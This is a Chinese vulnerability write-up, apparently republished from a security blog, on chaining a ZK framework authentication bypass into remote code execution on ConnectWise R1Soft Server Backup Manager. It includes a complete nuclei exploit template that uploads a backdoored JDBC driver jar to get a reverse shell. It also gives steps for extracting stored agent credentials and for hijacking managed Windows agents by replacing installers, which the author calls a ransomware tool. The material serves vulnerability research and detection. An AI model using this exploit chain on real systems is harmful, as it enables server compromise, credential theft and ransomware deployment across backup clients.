ZK框架权限绕过导致R1Soft RCE并接管Agent
source link: https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
ZK框架权限绕过导致R1Soft RCE并接管Agent
文章首发在tttang https://tttang.com/archive/1833/
http://wiki.r1soft.com/display/ServerBackup/Install+Server+Backup+Manager+on+Debian+and+Ubuntu.html
下载 http://repo.r1soft.com/6.16.3/75/trials/R1soft-ServerBackup-Manager-SE-linux64.zip
http://repo.r1soft.com/6.16.3/75/r1soft-getmodule-1.0.0-101_amd64.deb
把deb放到同一个目录,然后 dpkg -i *.deb
serverbackup-setup --user admin --pass r1soft
serverbackup-setup --http-port 8080 --https-port 8443
systemctl restart sbm-server.service
http://172.16.9.145:8080/login.zul
调试java需要编辑/usr/sbin/r1soft/conf/server.conf
加一行
additional.23=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
这个漏洞分为两个部分
- ZK framework的一个权限绕过漏洞ZK-5150
- 上传jar包rce
先来看第一个洞
1 ZK-5150权限绕过
https://tracker.zkoss.org/browse/ZK-5150
根据漏洞描述来看,/zkau/upload
路由对应的AuUploader中可以通过nextURI进行forward转发操作。这个forward可能被用来绕过权限认证,或者泄露web.xml等敏感文件。
看一下GitHub的代码
https://github.com/zkoss/zk/blob/v9.6.1/zk/src/org/zkoss/zk/au/http/AuUploader.java#LL217C3-L217C3
public void service(HttpServletRequest request, HttpServletResponse response, String pathInfo)
throws ServletException, IOException {
final Session sess = Sessions.getCurrent(false);
if (sess == null) {
response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
return;
}
final Map<String, String> attrs = new HashMap<String, String>();
String alert = null, uuid = null, nextURI = null, sid = null;
Desktop desktop = null;
try {
if (!isMultipartContent(request)) {
if ("uploadInfo".equals(request.getParameter("cmd"))) {
// refix ZK-2056: should escape both XML and Javascript
uuid = escapeParam(request.getParameter("wid"));
sid = escapeParam(request.getParameter("sid"));
desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess)
.getDesktop(XMLs.encodeText(request.getParameter("dtid")));
Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
// ZK-2329
if (percent == null || size == null) {
response.getWriter().write("ignore");
return;
}
final String key = uuid + '_' + sid;
Object sinfo = size.get(key);
if (sinfo instanceof String) {
response.getWriter().write("error:" + sinfo);
size.remove(key);
percent.remove(key);
return;
}
final Integer p = percent.get(key);
final Long cb = (Long) sinfo;
response.getWriter()
.write((p != null ? p.intValue() : -1) + "," + (cb != null ? cb.longValue() : -1));
return;
} else
alert = generateAlertMessage(ILLEGAL_UPLOAD, "enctype must be multipart/form-data");
} else {
// refix ZK-2056: should escape both XML and Javascript
uuid = escapeParam(request.getParameter("uuid"));
sid = escapeParam(request.getParameter("sid"));
if (uuid == null || uuid.length() == 0) {
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "uuid is required!");
} else {
attrs.put("uuid", uuid);
attrs.put("sid", sid);
// refix ZK-2056: should escape both XML and Javascript
final String dtid = escapeParam(request.getParameter("dtid"));
if (dtid == null || dtid.length() == 0) {
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "dtid is required!");
} else {
desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
final Map<String, Object> params = parseRequest(request, desktop, uuid + '_' + sid);
nextURI = (String) params.get("nextURI");
processItems(desktop, params, attrs);
}
}
}
} catch (Throwable ex) {
if (uuid == null) {
uuid = request.getParameter("uuid");
if (uuid != null)
attrs.put("uuid", uuid);
}
if (nextURI == null)
nextURI = request.getParameter("nextURI");
if (ex instanceof ComponentNotFoundException) {
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, Messages.get(MZk.UPDATE_OBSOLETE_PAGE, uuid));
} else {
alert = handleError(ex);
}
if (desktop != null) {
Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
final String key = uuid + '_' + sid;
if (percent != null) {
percent.remove(key);
size.remove(key);
}
}
}
if (attrs.get("contentId") == null && alert == null)
//B65-ZK-1724: display more meaningful errormessage
alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "Upload Aborted : (contentId is required)");
if (alert != null) {
if (desktop == null) {
response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
return;
}
Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
final String key = uuid + '_' + sid;
if (percent != null) {
percent.remove(key);
size.put(key, alert);
}
}
if (log.isTraceEnabled())
log.trace(Objects.toString(attrs));
if (nextURI == null || nextURI.length() == 0)
nextURI = "~./zul/html/fileupload-done.html.dsp";
Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
}
nextURI可以从request中接收,由Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
转发过去
想要给nextURI赋值,必须满足!isMultipartContent(request)==true
这个条件
public static final boolean isMultipartContent(HttpServletRequest request) {
return "post".equals(request.getMethod().toLowerCase(Locale.ENGLISH)) && FileUploadBase.isMultipartContent(new ServletRequestContext(request));
}
很明显,就是需要Multipart发包传参数。
然后在下面这个地方有坑,这个放到后面说。
desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
parseRequest函数,将请求体Multipart解析出来,放入一个map中
然后nextURI = (String)size.get("nextURI");
拿到nextURI,最后通过Servlets.forward
转发nextURI的请求。
我们以http://172.16.9.145:8080/Configuration/server-info.zul
为例,测试一下通过nextURI转发绕过权限认证,这个页面是需要登陆才能访问的。
没有权限访问,所以跳转到login
接下来使用nextURI转发
没成功,断点调试一下
发现在desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
这个地方取不到dtid为dd的Desktop对象。
getDesktopCache中缓存为空值,这个东西不知道从哪进行给他添加缓存,然后我开了bp抓包,观察dtid的参数值及其引用的地方发现,dtid对应的应该是一个页面的缓存标识。
比如我访问/login.zul
,赋予一个session
并且此时页面的给了一个dt值
我们加上session并且将这个dt给上
可见确实绕过了权限认证,并且拿到了一些敏感信息,比如服务器:PublicKey、serverBuildDate
此时调试来看dtid对应的就是login.zul页面
好了,到此为止,我们绕过了权限认证,捋一下利用步骤
- 访问首页,拿到dtid和JSESSIONID
- 通过/zkau/upload的nextURI转发请求
- 受限于Multipart要求,只能转发POST请求。
所以需要找到POST请求的可以RCE的点。
2 mysql driver RCE
huntress的文章中已经写了
代码在com.r1soft.backup.server.web.configuration.DatabaseDriversWindow#onUpload
跟进com.r1soft.backup.server.facade.DatabaseFacade#uploadMySQLDriver
先判断MySQLUtil.hasMySQLDriverClass(var5)
,然后将jar包调用ClassPathUtil.addFile(var5);
加入到classpath。
hasMySQLDriverClass判断你的jar包是否有org.gjt.mm.mysql.Driver
这个类
调用URLClassLoader
然后testMySQLDatabaseDriver测试驱动
public Boolean testMySQLDatabaseDriver() {
return MySQLDatabaseConnection.driverTest();
}
public static boolean driverTest() {
try {
Class.forName("org.gjt.mm.mysql.Driver");
return true;
} catch (ClassNotFoundException var1) {
return false;
}
}
所以我们可以传jar包,内置一个org.gjt.mm.mysql.Driver
类,并且写上static代码块来执行自定义代码。
rce的整个过程捋通了,那么就是痛苦的构造exp的时候,怎么痛苦往下看就知道了。
先来一个数据库jar包,直接抄 https://github.com/airman604/jdbc-backdoor 的,改下类名即可,编译的时候一定要兼容低版本jdk,因为默认是jdk7的,用8编译出来的class会报错。
javac -source 1.6 -target 1.6 org/gjt/mm/mysql/Driver.java
接下来构造请求包,我先把我的exp贴出来,nuclei模版
id: R1Soft
info:
name: ConnectWise R1Soft Authentication Bypass RCE
author: Y4er
severity: critical
description: |
The ZK framework disclosed a permission bypass vulnerability, and R1Soft used the ZK framework, resulting in a permission bypass, and remote code execution can be performed by uploading the database driver.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-36537
- https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin
tags: cve2022,zk,ConnectWise,R1Soft,RCE
variables:
uuid: '{{to_lower(rand_base(5))}}'
requests:
- raw:
- |
GET /login.zul HTTP/1.1
Host: {{Hostname}}
Connection: close
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/Configuration/database-drivers.zul
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onClick&uuid_0={{mysqlDriverUploadButtonid}}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{Fileuploadid}}&dtid={{databasedtid}}&sid=0&maxsize=-1 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jar"
Content-Type: application/java-archive
{{base64_decode('jar包base64编码')}}
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onMove&opt_0=i&uuid_0={{FileuploadDlgid}}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={{FileuploadDlgid}}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{{Fileuploadid}}%22%2C%22sid%22%3A%220%22%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
- |
POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
Connection: close
------WebKitFormBoundary1PqbBueTuhKJdCD1
Content-Disposition: form-data; name="nextURI";
/zkau?dtid={{databasedtid}}&cmd_0=onClose&uuid_0={{FileuploadDlgid}}&data_0=%7B%22%22%3Atrue%7D
------WebKitFormBoundary1PqbBueTuhKJdCD1--
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
words:
- "The file does not contain the MySQL JDBC database driver"
- "The MySQL database driver was uploaded successfully"
part: body
extractors:
- type: regex
name: logindtid
internal: true
group: 1
regex:
- "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2Flogin.zul'"
- type: regex
name: databasedtid
internal: true
group: 1
regex:
- "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2FConfiguration\\\\x2Fdatabase\\\\x2Ddrivers.zul"
- type: regex
name: mysqlDriverUploadButtonid
internal: true
group: 1
regex:
- "'zul.wgt.Button','(.*)',{id:'mysqlDriverUploadButton'"
- type: regex
name: FileuploadDlgid
internal: true
group: 1
regex:
- "zul.fud.FileuploadDlg','(.*)',"
- type: regex
name: Fileuploadid
internal: true
group: 1
regex:
- "'zul.wgt.Fileupload','(.*?)',"
反弹shell成功
上传的jar包在/usr/sbin/r1soft/conf/database-drivers/mysql-connector.jar
,只能打一次,因为static只会被加载一次。
编写exp只需要把正常的上传包用nextURI转发下,好像有4、5个请求包,模拟一下就行了。
看我的exp可见需要几个参数logindtid、databasedtid、mysqlDriverUploadButtonid、FileuploadDlgid、Fileuploadid,用nuclei提取出来即可,除了有点恶心人以外没啥技术含量。
在使用nextURI触发/Configuration/database-drivers.zul
拿dtid时,一直没找到这个zul应该怎么访问,我登陆进去访问抓的请求包一直都是直接POST的/zkau
,然后在看com.r1soft.backup.server.web.configuration.LDAPAuthenticationWindow
的时候发现了
放浏览器里发现可以直接打开,然后就按规律DatabaseDriversWindow
对应/Configuration/database-drivers.zul
,由此才拿到关键的database dtid
写文章的时候思来想去觉得这种上传jar包的方式不优雅,一个不小心jar包就把系统整炸了,而且收到Class.forName的影响,只能打一次,所以尝试找了一下其他方式
在com.r1soft.backup.server.web.configuration.LDAPTestConnectionWindow#testConnection
中
有ldap操作
不过没有调用lookup,自己用unboundid库实现了一个ldap server,lookup会触发processSearchResult,而new InitialDirContext(var9)
只会触发processSimpleBindRequest、processSimpleBindResult,processSimpleBindResult中好像没有办法返回这些属性
Entry e = new Entry(baseDN);
e.addAttribute("javaClassName", clazzName);
e.addAttribute("javaCodeBase", Config.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", clazzName);
所以好像利用不了,如果有对ldap熟悉的师傅希望可以指点一下。
huntress的文章中演示了一个脚本直接勒索所有agent,我看了下有几种方式。
- 数据库中存储了agent的账号密码,打了r1soft server之后直接smb过去
- 替换agent文件
数据库文件在/usr/sbin/r1soft/data/h2/r1backup.h2.db
没找到密码在哪配置的,看日志配了c3p0库,所以直接断点断到com.mchange.v2.c3p0.impl.NewProxyConnection#NewProxyConnection(java.sql.Connection)
向上回溯到org.hibernate.engine.jdbc.internal.LogicalConnectionImpl#getConnection
拿到数据库明文密码
在select MAPKEY,DATA from TASKEXECUTIONCONTEXTDATA where MAPKEY like 'agent%'
表中发现账号密码
agentUser 0xACED000574000D61646D696E6973747261746F72
agentHost 0xACED000574000C3137322E31362E392E313436
agentPass 0xACED000574000A61646D696E3136214023
agent的明文密码就有了
另一种方式是直接替换掉服务端的agent文件。
root@ubuntu:/usr/sbin/r1soft# ls Deployment/Agent/
r1soft-getmodule-amd64.deb serverbackup-agent-i386.rpm serverbackup-enterprise-agent-amd64.deb serverbackup-setup-i386.deb.asc
r1soft-getmodule-amd64.deb.asc serverbackup-agent-i386.rpm.asc serverbackup-enterprise-agent-amd64.deb.asc serverbackup-setup-i386.rpm
r1soft-getmodule-i386.deb serverbackup-agent-x86_64.rpm serverbackup-enterprise-agent-i386.deb serverbackup-setup-i386.rpm.asc
r1soft-getmodule-i386.deb.asc serverbackup-agent-x86_64.rpm.asc serverbackup-enterprise-agent-i386.deb.asc serverbackup-setup-x86_64.rpm
r1soft-getmodule-i386.rpm serverbackup-async-agent-amd64.deb serverbackup-enterprise-agent-i386.rpm serverbackup-setup-x86_64.rpm.asc
r1soft-getmodule-i386.rpm.asc serverbackup-async-agent-amd64.deb.asc serverbackup-enterprise-agent-i386.rpm.asc ServerBackup-Windows-Agent-x64.msi
r1soft-getmodule-x86_64.rpm serverbackup-async-agent-i386.deb serverbackup-enterprise-agent-x86_64.rpm ServerBackup-Windows-Agent-x64.msi.asc
r1soft-getmodule-x86_64.rpm.asc serverbackup-async-agent-i386.deb.asc serverbackup-enterprise-agent-x86_64.rpm.asc ServerBackup-Windows-Agent-x86.msi
serverbackup-agent-amd64.deb serverbackup-async-agent-i386.rpm ServerBackup-Service.exe ServerBackup-Windows-Agent-x86.msi.asc
serverbackup-agent-amd64.deb.asc serverbackup-async-agent-i386.rpm.asc serverbackup-setup-amd64.deb
serverbackup-agent-i386.deb serverbackup-async-agent-x86_64.rpm serverbackup-setup-amd64.deb.asc
serverbackup-agent-i386.deb.asc serverbackup-async-agent-x86_64.rpm.asc serverbackup-setup-i386.deb
当添加完需要备份的机器,然后部署agent时,点击“Deploy Agent Software”
当账号密码正确时,我们应该考虑他是怎么部署agent到目标机器上的,跟代码看一下。当点击提交时,会向任务队列中放一个RemoteAgentDeploymentTask实例来异步安装agent
该实例真正安装agent的函数处理在
com.r1soft.backup.server.worker.RemoteAgentDeploymentWorker#processWindowsDeployment
关键的点就图中圈起来的5个步骤
第一,尝试连接远程rpc服务
第二,初始化IPC共享临时目录
第三,通过smb把agent安装文件写入ipc
public void transferBinary() throws DeploymentException, InterruptedException {
this.transferBinary(WINDOWS_SERVICE_BINARY_PATH);
this.transferBinary(WINDOWS_32BIT_INSTALLER_PATH);
this.transferBinary(WINDOWS_64BIT_INSTALLER_PATH);
}
第四,传输公钥和部署key
public void transferKey() throws DeploymentException, InterruptedException {
this.transferBinary(PUBLIC_KEY_PATH, this.deploymentKey);
}
第五,远程创建并启动ServerBackupAgentDeployment服务
该服务就是执行ipc共享中传过来的安装包
很明显了。
那么在实际利用中,我们没有agent的账号密码,应该怎么用呢?
实际目标应该是已经配好了agent,会增加一个“Update Agent Software”的选项
这个不需要输入密码,可以直接替换安装包ServerBackup-Windows-Agent-x64.msi
或者wsbausx64.exe
,即可rce agent。
不过有个小坑,我们跟一下来看
agent update的操作在com.r1soft.backup.server.task.AgentUpdateTask#run
windows系统会进入com.r1soft.backup.server.task.AgentUpdateWindows#run
这里会比较agent版本号,获取server上的版本号是通过读文件的形式
com.r1soft.backup.server.facade.AgentFacade#getAgentInstallerInfo
所以修改/usr/sbin/r1soft/bin/scripts/WindowsAgentInstallerVersion
文件为一个大的版本号,这样就会重新安装agent了。
接着先通过restoreFiles传输安装包
然后执行下面两条命令
cmd.exe /c del C:\Windows\Temp\wsbaus*
cmd.exe /c C:\Windows\Temp\2ade228f-c92e-49c2-8b63-fd4bfdc9040f_wsbausx64.exe install
cmd.exe /c echo {"ServiceCtrlTimeout":300,"AgentService":"cdp","MsiPackage":"2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi"} > C:\Windows\Temp\wsbaus.config
net start wsbaus
wsbausx64.exe install安装服务,然后wsbaus服务会启动2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi
所以替换安装包,或者替换wsbaus服务都可以控制agent。
这篇文章从ZK权限绕过,使用nextURI转发绕过权限认证,然后用mysql drivers jar包来rce r1soft server端,然后通过下发更新包的形式控制agent,勒索神器。洋洋洒洒写了这么多字,希望对读者有所帮助。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK